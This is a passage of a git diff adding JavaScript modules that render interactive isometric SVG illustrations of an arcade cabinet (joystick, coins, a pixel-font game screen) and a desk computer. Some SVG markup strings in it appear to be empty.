rootMargin: "120px 0px" }).observe(stage); + +stage.addEventListener("keydown", (event) => { + if (event.metaKey || event.ctrlKey || event.altKey) return; + const key = event.key; + if (key === "c" || key === "C" || key === "5") { + event.preventDefault(); + takeOver(); + insertCoin(); + } else if (key === "ArrowLeft" || key === "ArrowRight") { + event.preventDefault(); + takeOver(); + state.stick.target = key === "ArrowLeft" ? -1 : 1; + if (state.game) state.game.userAt = state.clock; + clearTimeout(releaseTimer); + run(); + } else if (key === " " || key === "Enter") { + event.preventDefault(); + takeOver(); + state.fireHeld = 0.5; + if (state.game) state.game.userAt = state.clock; + run(); + } else if (key === "Escape") { + event.preventDefault(); + takeOver(); + setPower(0); + } +}); +stage.addEventListener("keyup", (event) => { + if (event.key === "ArrowLeft" || event.key === "ArrowRight") { + state.stick.target = 0; + run(); + } + if (event.key === " " || event.key === "Enter") state.fireHeld = Math.min(state.fireHeld, 0.06); +}); +svg.addEventListener("click", (event) => { + const hit = event.target.closest('[data-part="tray"], [data-name^="door"]'); + if (hit) { + takeOver(); + insertCoin(); + stage.focus({ preventScroll: true }); + } +}); + +showStack(); +drawPile(); +showCredit(); +wireStep(0, 0); +picture(); +say("none", 0); +if (still.matches) touring = false; diff --git a/plugins/zch0227/anatomy-gallery/skills/anatomy/examples/arcade-cabinet/parts.mjs b/plugins/zch0227/anatomy-gallery/skills/anatomy/examples/arcade-cabinet/parts.mjs new file mode 100644 index 00000000..31e2975b --- /dev/null +++ b/plugins/zch0227/anatomy-gallery/skills/anatomy/examples/arcade-cabinet/parts.mjs @@ -0,0 +1,89 @@ + +export function makeParts(k, G, P, D) { + const V = G.viewOf(P); + const at = (p) => k.iso(p, P); + const S = (paths, style) => k.solidSvg(paths, style); + const Ln = (d, style) => k.lineSvg(d, style); + const rot = (v, axis, angle) => { + const c = Math.cos(angle); + const s = Math.sin(angle); + const d = G.dot3(axis, v); + const x = G.cross3(axis, v); + return [v[0] * c + x[0] * s + axis[0] * d * (1 - c), v[1] * c + x[1] * s + axis[1] * d * (1 - c), v[2] * c + x[2] * s + axis[2] * d * (1 - c)]; + }; + const J = D.stick; + const UP = J.nc; + const ALONG = J.dc; + const X = [1, 0, 0]; + const axisOf = (tx, tv) => G.unit3(rot(rot(UP, ALONG, tx), X, -tv)); + const pivot = G.add3(J.o, G.mul3(UP, J.pivot)); + const depth = (p) => G.dot3(p, V); + + function stickUpper(tx = 0, tv = 0) { + const a = axisOf(tx, tv); + const F = G.frameAlong(pivot, a); + const t = -J.pivot / G.dot3(a, UP); + const cross = G.add3(pivot, G.mul3(a, t)); + const W = G.frameOf(cross, UP, X, ALONG); + const washer = S(G.disc(0, 0.4, 4.4, W, P, { steps: 40 }), { tone: "mid" }) + Ln(G.circleOf(W, 0.4, 1.3, P, 20), { tone: "faint" }); + const shaft = S(G.disc(t + 0.4, t + 8.95, 0.85, F, P, { steps: 16 }), { tone: "mid" }); + const ballAt = G.add3(pivot, G.mul3(a, t + 12.4)); + const ball = S(G.sphereOf(ballAt, 3.5, P, { steps: 40 }), { tone: "hi", lit: true }); + return washer + shaft + ball; + } + + function stickLower(tx = 0, tv = 0) { + const a = axisOf(tx, tv); + const F = G.frameAlong(pivot, a); + const parts = []; + parts.push({ d: depth(G.add3(pivot, G.mul3(a, -5))), svg: S(G.disc(-9.4, -0.6, 0.85, F, P, { steps: 16 }), { tone: "mid" }) }); + const act = S(G.disc(-8.6, -4.6, 2.4, F, P, { steps: 32, bevel: 0.3 }), { tone: "hi" }) + Ln(G.arcOf(F, -6.6, 2.4, P), { tone: "faint" }); + parts.push({ d: depth(G.add3(pivot, G.mul3(a, -6.6))) + 0.01, svg: act }); + parts.push({ d: depth(G.add3(pivot, G.mul3(a, -9.6))), svg: S(G.disc(-10, -9.4, 1.5, F, P, { steps: 20 }), { tone: "lo" }) }); + const closed = switchesClosed(tx, tv); + for (const sw of J.switches) { + const on = closed.includes(sw.id); + const body = G.frameOf(sw.c, UP, sw.out, G.cross3(UP, sw.out)); + const poly = [[-0.65, -2], [0.65, -2], [0.65, 2], [-0.65, 2]]; + const box = S(G.prismOf(body, poly, -1, 1, P), { tone: "mid" }); + const lever0 = G.add3(sw.c, G.add3(G.mul3(sw.out, -0.65), G.mul3(G.cross3(UP, sw.out), 1.6))); + const tip = G.add3(sw.c, G.add3(G.mul3(sw.out, on ? -0.85 : -1.45), G.mul3(G.cross3(UP, sw.out), -1.2))); + const lever = Ln(k.pathOf([at(lever0), at(tip)]), { tone: on ? "lit" : "hi" }); + const tabs = [-1.1, 0, 1.1].map((o) => G.add3(sw.c, G.add3(G.mul3(UP, -1), G.mul3(G.cross3(UP, sw.out), o)))); + const tabSvg = tabs.map((p) => S(G.prismOf(G.frameOf(p, UP, sw.out, G.cross3(UP, sw.out)), [[-0.3, -0.35], [0.3, -0.35], [0.3, 0.35], [-0.3, 0.35]], -1, 0, P), { tone: "lo" })).join(""); + parts.push({ d: depth(sw.c), svg: `${tabSvg}${box}${lever}` }); + } + parts.sort((p, q) => p.d - q.d); + return parts.map((p) => p.svg).join(""); + } + + function switchesClosed(tx, tv) { + const out = []; + const limit = 0.12; + if (tx > limit) out.push("left"); + if (tx < -limit) out.push("right"); + if (tv > limit) out.push("up"); + if (tv < -limit) out.push("down"); + return out; + } + + const COIN_R = 2.426; + const COIN_T = 0.35; + function coin(centre, axis, spin = 0, { lit = true } = {}) { + const F0 = G.frameAlong(centre, axis); + const F = { o: F0.o, a: F0.a, u: rot(F0.u, F0.a, spin), v: rot(F0.v, F0.a, spin) }; + const face = G.dot3(F.a, V) >= 0 ? COIN_T / 2 : -COIN_T / 2; + const body = S(G.disc(-COIN_T / 2, COIN_T / 2, COIN_R, F, P, { steps: 36 }), { tone: "hi", lit }); + const facing = Math.abs(G.dot3(F.a, V)); + let marks = ""; + if (facing > 0.2) { + marks += Ln(G.circleOf(F, face, COIN_R - 0.35, P, 28), { tone: "lo" }); + const p0 = G.pointOf(F, face, 0.3, 0); + const p1 = G.pointOf(F, face, 1.5, 0); + marks += Ln(k.pathOf([at(p0), at(p1)]), { tone: "lo", free: true }); + } + return body + marks; + } + + return { stickUpper, stickLower, switchesClosed, coin, axisOf, COIN_R, COIN_T }; +} diff --git a/plugins/zch0227/anatomy-gallery/skills/anatomy/examples/arcade-cabinet/screen.mjs b/plugins/zch0227/anatomy-gallery/skills/anatomy/examples/arcade-cabinet/screen.mjs new file mode 100644 index 00000000..84fcaa2e --- /dev/null +++ b/plugins/zch0227/anatomy-gallery/skills/anatomy/examples/arcade-cabinet/screen.mjs @@ -0,0 +1,114 @@ +export const SCREEN = (() => { + const W = 224; + const H = 288; + const FONT = { + A: ["01110", "10001", "10001", "11111", "10001", "10001", "10001"], + C: ["01110", "10001", "10000", "10000", "10000", "10001", "01110"], + D: ["11110", "10001", "10001", "10001", "10001", "10001", "11110"], + E: ["11111", "10000", "10000", "11110", "10000", "10000", "11111"], + F: ["11111", "10000", "10000", "11110", "10000", "10000", "10000"], + H: ["10001", "10001", "10001", "11111", "10001", "10001", "10001"], + I: ["01110", "00100", "00100", "00100", "00100", "00100", "01110"], + K: ["10001", "10010", "10100", "11000", "10100", "10010", "10001"], + L: ["10000", "10000", "10000", "10000", "10000", "10000", "11111"], + M: ["10001", "11011", "10101", "10101", "10001", "10001", "10001"], + N: ["10001", "11001", "10101", "10011", "10001", "10001", "10001"], + O: ["01110", "10001", "10001", "10001", "10001", "10001", "01110"], + P: ["11110", "10001", "10001", "11110", "10000", "10000", "10000"], + R: ["11110", "10001", "10001", "11110", "10100", "10010", "10001"], + S: ["01111", "10000", "10000", "01110", "00001", "00001", "11110"], + T: ["11111", "00100", "00100", "00100", "00100", "00100", "00100"], + U: ["10001", "10001", "10001", "10001", "10001", "10001", "01110"], + Y: ["10001", "10001", "01010", "00100", "00100", "00100", "00100"], + Z: ["11111", "00001", "00010", "00100", "01000", "10000", "11111"], + 0: ["01110", "10011", "10101", "10101", "10101", "11001", "01110"], + 1: ["00100", "01100", "00100", "00100", "00100", "00100", "01110"], + 2: ["01110", "10001", "00001", "00110", "01000", "10000", "11111"], + 3: ["11111", "00010", "00100", "00010", "00001", "10001", "01110"], + 4: ["00010", "00110", "01010", "10010", "11111", "00010", "00010"], + 5: ["11111", "10000", "11110", "00001", "00001", "10001", "01110"], + 6: ["00110", "01000", "10000", "11110", "10001", "10001", "01110"], + 7: ["11111", "00001", "00010", "00100", "01000", "01000", "01000"], + 8: ["01110", "10001", "10001", "01110", "10001", "10001", "01110"], + 9: ["01110", "10001", "10001", "01111", "00001", "00010", "01100"], + "-": ["00000", "00000", "00000", "11111", "00000", "00000", "00000"], + ".": ["00000", "00000", "00000", "00000", "00000", "01100", "01100"], + " ": ["00000", "00000", "00000", "00000", "00000", "00000", "00000"], + }; + const SPRITES = { + jellyA: ["0001111000", "0011111100", "0110110110", "1111111111", "1111111111", "0010110100", "0100000010", "0010000100"], + jellyB: ["0001111000", "0011111100", "0110110110", "1111111111", "1111111111", "0010110100", "0001001000", "0010000100"], + eyeA: ["0011110000", "0111111000", "1101101100", "1111111100", "0110011000", "1100001100"].map((r) => r.slice(0, 8)), + eyeB: ["0011110000", "0111111000", "1101101100", "1111111100", "0110011000", "0011110000"].map((r) => r.slice(0, 8)), + ship: ["00000100000", "00001110000", "00001110000", "01111111110", "11111111111", "11011111011", "10000100001"], + boom: ["1000100010", "0100100100", "0010001000", "1100000011", "0010001000", "0100100100", "1000100010"], + }; + const n = (v) => Math.round(v * 100) / 100; + function bitmap(rows, x, y, s = 1) { + let d = ""; + rows.forEach((row, r) => { + let c = 0; + while (c < row.length) { + if (row[c] === "1") { + let e = c; + while (e < row.length && row[e] === "1") e++; + d += `M${n(x + c * s)} ${n(y + r * s)}h${n((e - c) * s)}v${n(s)}h${n(-(e - c) * s)}z`; + c = e; + } else c++; + } + }); + return d; + } + function text(str, x, y, s = 1, adv = 8) { + return [...String(str)].map((ch, i) => bitmap(FONT[ch] ?? FONT[" "], x + i * adv * s, y, s)).join(""); + } + const centred = (str, s = 1, adv = 8) => n((W - (String(str).length * adv - (adv - 5)) * s) / 2); + + const FORMATION = []; + for (let row = 0; row < 3; row++) for (let col = 0; col < 6; col++) FORMATION.push({ row, col, x: 34 + col * 26, y: 92 + row * 18, kind: row === 0 ? "eye" : "jelly" }); + const SHIP_Y = 250; + const px = (d, extra = "") => ``; + + function svg() { + const out = []; + const hatch = []; + for (let x = 0; x <= W; x += 16) hatch.push(`M${Math.min(x, W - 1)} 0h1v${H}h-1z`); + for (let y = 0; y <= H; y += 16) hatch.push(`M0 ${Math.min(y, H - 1)}h${W}v1h${-W}z`); + out.push(``); + out.push(``); + out.push(px(text("SELF TEST", centred("SELF TEST"), 56), ` data-step="0"`)); + out.push(px(text("RAM OK", 56, 104), ` data-step="1"`)); + out.push(px(text("ROM OK", 56, 120), ` data-step="2"`)); + out.push(px(text("Z80 3.072 MHZ", 56, 152), ` data-step="3"`)); + out.push(``); + out.push(``); + out.push(px(text("1UP", 24, 8) + text("HI-SCORE", 80, 8) + text("2UP", 176, 8))); + out.push(px(text("00000", 16, 20), ` data-part="score"`)); + out.push(px(text("12500", 92, 20))); + out.push(px(text("ANATOMY", centred("ANATOMY", 2), 44, 2))); + out.push(``); + FORMATION.forEach((a, i) => { + const [fa, fb] = a.kind === "eye" ? [SPRITES.eyeA, SPRITES.eyeB] : [SPRITES.jellyA, SPRITES.jellyB]; + const ox = a.kind === "eye" ? 1 : 0; + out.push(`${px(bitmap(fa, a.x + ox, a.y), ' data-frame="a"')}${px(bitmap(fb, a.x + ox, a.y), ' data-frame="b" style="display:none"')}`); + }); + out.push(``); + out.push(px(bitmap(SPRITES.boom, 0, 0), ` data-part="boom" style="display:none"`)); + out.push(px("M0 0h1v5h-1z", ` data-part="shot" style="display:none"`)); + out.push(px(bitmap(SPRITES.ship, -5.5, 0), ` data-part="ship" transform="translate(112 ${SHIP_Y})"`)); + out.push(px(`M8 ${SHIP_Y + 12}h${W - 16}v1h${-(W - 16)}z`)); + out.push(px(text("INSERT COIN", centred("INSERT COIN"), 200), ` data-part="insert"`)); + out.push(px(text("PUSH START", centred("PUSH START"), 200), ` data-part="start" style="display:none"`)); + out.push(px(text("CREDIT 0", 120, 274), ` data-part="credit"`)); + out.push(``); + const k = 58 / W; + const scan = []; + for (let i = 0; i <= 112; i++) scan.push(`M${n(-29 + i * 0.518)} -37.3V37.3`); + return [ + `${out.join("")}`, + ``, + ``, + ].join(""); + } + return { W, H, FONT, SPRITES, FORMATION, SHIP_Y, bitmap, text, centred, svg }; +})(); diff --git a/plugins/zch0227/anatomy-gallery/skills/anatomy/examples/desk-computer/build.mjs b/plugins/zch0227/anatomy-gallery/skills/anatomy/examples/desk-computer/build.mjs new file mode 100644 index 00000000..fda078c7 --- /dev/null +++ b/plugins/zch0227/anatomy-gallery/skills/anatomy/examples/desk-computer/build.mjs @@ -0,0 +1,435 @@ +import { writeFileSync } from "node:fs"; +import { dirname, join } from "node:path"; +import { fileURLToPath } from "node:url"; +import * as k from "../../kit/iso-kit.mjs"; +import { kitScript } from "../../scripts/inline-kit.mjs"; + +const HERE = dirname(fileURLToPath(import.meta.url)); +const theme = process.argv.includes("--light") ? "light" : "dark"; + +const WIDTH = 600; +const HEIGHT = 440; + +const PLATE = { x: -100, y: -84, w: 210, d: 242, r: 10 }; +const PLATE_H = 10; +const FOOT_H = 5; + +const CASE = { x: -62, y: -62, w: 124, d: 118, r: 8 }; +const FRONT = CASE.y + CASE.d; +const SIDE = CASE.x + CASE.w; +const PLINTH_H = 5; +const TOP = 170; +const SEAM = FRONT - 12; + +const BEZEL = { x0: -48, x1: 48, z0: 68, z1: 158, r: 6, depth: 1.6 }; +const CRT = { x0: -40, x1: 40, z0: 77, z1: 150, r: 8, depth: 5 }; +const GLASS_Y = FRONT - BEZEL.depth - CRT.depth; +const CRT_MID = (CRT.z0 + CRT.z1) / 2; +const SLOT = { x0: 8, x1: 46, z0: 45, z1: 50.5, r: 2.4, depth: 4 }; + +const KB = { x: -76, y: 84, w: 152, d: 58, r: 4 }; +const KB_Z = 1.6; +const KB_TOP = 8.6; +const U = 9.2; +const KEYS_X = -U * 7.5; +const KEYS_Y = 88.5; + +const ROWS = [ + [["`", 1], ["1", 1], ["2", 1], ["3", 1], ["4", 1], ["5", 1], ["6", 1], ["7", 1], ["8", 1], ["9", 1], ["0", 1], ["-", 1], ["=", 1], ["Backspace", 2]], + [["Tab", 1.5], ["q", 1], ["w", 1], ["e", 1], ["r", 1], ["t", 1], ["y", 1], ["u", 1], ["i", 1], ["o", 1], ["p", 1], ["[", 1], ["]", 1], ["\\", 1.5]], + [["CapsLock", 1.75], ["a", 1], ["s", 1], ["d", 1], ["f", 1], ["g", 1], ["h", 1], ["j", 1], ["k", 1], ["l", 1], [";", 1], ["'", 1], ["Enter", 2.25]], + [["Shift", 2.25], ["z", 1], ["x", 1], ["c", 1], ["v", 1], ["b", 1], ["n", 1], ["m", 1], [",", 1], [".", 1], ["/", 1], ["ShiftRight", 2.75]], + [["Alt", 1.5], ["Meta", 1.5], [" ", 9], ["NumpadEnter", 1.5], ["AltRight", 1.5]], +]; +const ROW_H = [5.6, 5.2, 4.8, 4.4, 4]; + +const PORT = { y: 28, z: 9 }; +const COIL = { x: 80, z: 3.6, r: 3.2, from: 44, to: 84, turns: 17 }; + +const P = k.fitProjection( + [...k.boxCorners(PLATE, -PLATE_H - FOOT_H, 0), ...k.boxCorners(CASE, 0, TOP)], + WIDTH, + HEIGHT, + { pad: 30, azimuth: 56 }, +); + +const at = (point) => k.iso(point, P); +const S = (paths, style) => k.solidSvg(paths, style); +const L = (d, style) => k.lineSvg(d, style); +const D = (points, style) => k.dotsSvg(points, style); +const byDepth = (points) => [...points].sort((a, b) => k.depthOf([a[0], a[1], 0], P) - k.depthOf([b[0], b[1], 0], P)); +const planeOf = (y) => k.sideMatrix([0, y], 0, P, "left"); +const flat = (x0, z0, x1, z1, r, steps = 6) => k.pathOf(k.roundedPlan({ x: x0, y: z0, w: x1 - x0, d: z1 - z0, r }, steps).map(([u, z]) => [u, -z]), true); +const onFront = (points, y = FRONT) => k.pathOf(points.map(([x, z]) => at([x, y, z]))); +const sideSlot = (y, z0, z1, half = 0.8) => k.pathOf(k.roundedPlan({ x: y - half, y: z0, w: half * 2, d: z1 - z0, r: half }, 4).map(([u, z]) => at([SIDE, u, z])), true); + +let clips = 0; +function recess({ x0, x1, z0, z1, r, depth }, y, back = "", backClass = "pc-well", inside = "") { + const id = `pc-clip-${clips++}`; + const ring = k.roundedPlan({ x: x0, y: z0, w: x1 - x0, d: z1 - z0, r }, 6); + const cx = (x0 + x1) / 2; + const cz = (z0 + z1) / 2; + const { sinA } = k.cameraOf(P); + const tops = []; + const sides = [[], [], [], []]; + ring.forEach(([ax, az], index) => { + const [bx, bz] = ring[(index + 1) % ring.length]; + const length = Math.hypot(bx - ax, bz - az) || 1; + let [nx, nz] = [(bz - az) / length, -(bx - ax) / length]; + if (nx * (cx - (ax + bx) / 2) + nz * (cz - (az + bz) / 2) < 0) [nx, nz] = [-nx, -nz]; + if (nx <= 0 && nz <= 0) return; + const quad = k.pathOf([at([ax, y, az]), at([bx, y, bz]), at([bx, y - depth, bz]), at([ax, y - depth, az])], true); + if (nz >= nx) tops.push(quad); + else sides[Math.min(3, Math.max(0, Math.floor(((nx * -sinA + 1) / 2) * 4)))].push(quad); + }); + const shape = flat(x0, z0, x1, z1, r); + return [ + ``, + ``, + ``, + ...sides.map((d, shade) => (d.length ? `` : "")), + `${back}`, + inside, + ``, + ``, + ].join(""); +} + +function plate() { + const out = [``]; + for (const [x, y] of byDepth(k.corners(PLATE, 22))) { + out.push(S(k.cylinder(x, y, 7, -PLATE_H - FOOT_H, 1.6, P, 28), { tone: "lo" })); + out.push(S(k.cylinder(x, y, 5.4, -PLATE_H - FOOT_H + 1.6, FOOT_H - 1.6, P, 28), { tone: "mid" })); + } + out.push(S(k.slabOf(PLATE, -PLATE_H, PLATE_H, P, 8, 1.6), { tone: "mid" })); + out.push(L(k.planOutline(k.insetPlan(PLATE, 5), 0, P), { tone: "lo" })); + const screws = k.corners(PLATE, 10); + out.push(L(screws.map(([x, y]) => k.ring(x, y, 2.2, 0, P, 16)).join(""), { tone: "lo" })); + out.push(D(screws.map(([x, y]) => at([x, y, 0])), { size: 0.5 })); + const label = { x: -88, y: 144, w: 40, d: 9, r: 1.2 }; + out.push(S(k.slabOf(label, 0, 0.8, P, 3), { tone: "lo", crease: "none" })); + out.push(L([30, 22].map((w, i) => k.lineOnTop([label.x + 4, label.y + 3 + i * 3], [label.x + 4 + w, label.y + 3 + i * 3], 0.8, P)).join(""), { tone: "lo", free: true })); + out.push(D([at([label.x + label.w - 3, label.y + label.d / 2, 0.8])], { size: 0.45 })); + return out.join(""); +} + +function screen() { + const H = 19; + const left = -H * 0.61; + const base = CRT_MID + 2; + const glyph = (points) => k.pathOf(points.map(([gx, gy]) => [left + gx * H, -(base + gy * H)]), true); + const logo = + glyph([[0, 0], [0.37, 1], [0.55, 1], [0.92, 0], [0.71, 0], [0.63, 0.23], [0.29, 0.23], [0.21, 0]]) + + glyph([[0.35, 0.41], [0.57, 0.41], [0.46, 0.72]]) + + glyph([[0.68, 1], [0.89, 1], [1.26, 0], [1.05, 0]]); + const lines = []; + for (let z = CRT.z0 + 1.2; z < CRT.z1; z += 1.6) lines.push(`M${CRT.x0} ${(-z).toFixed(1)}H${CRT.x1}`); + const glow = flat(-30, CRT.z0 + 8, 30, CRT.z1 - 8, 26, 10); + const textX = CRT.x0 + 8; + const textZ = CRT.z0 + 14; + const crt = [ + ``, + ``, + `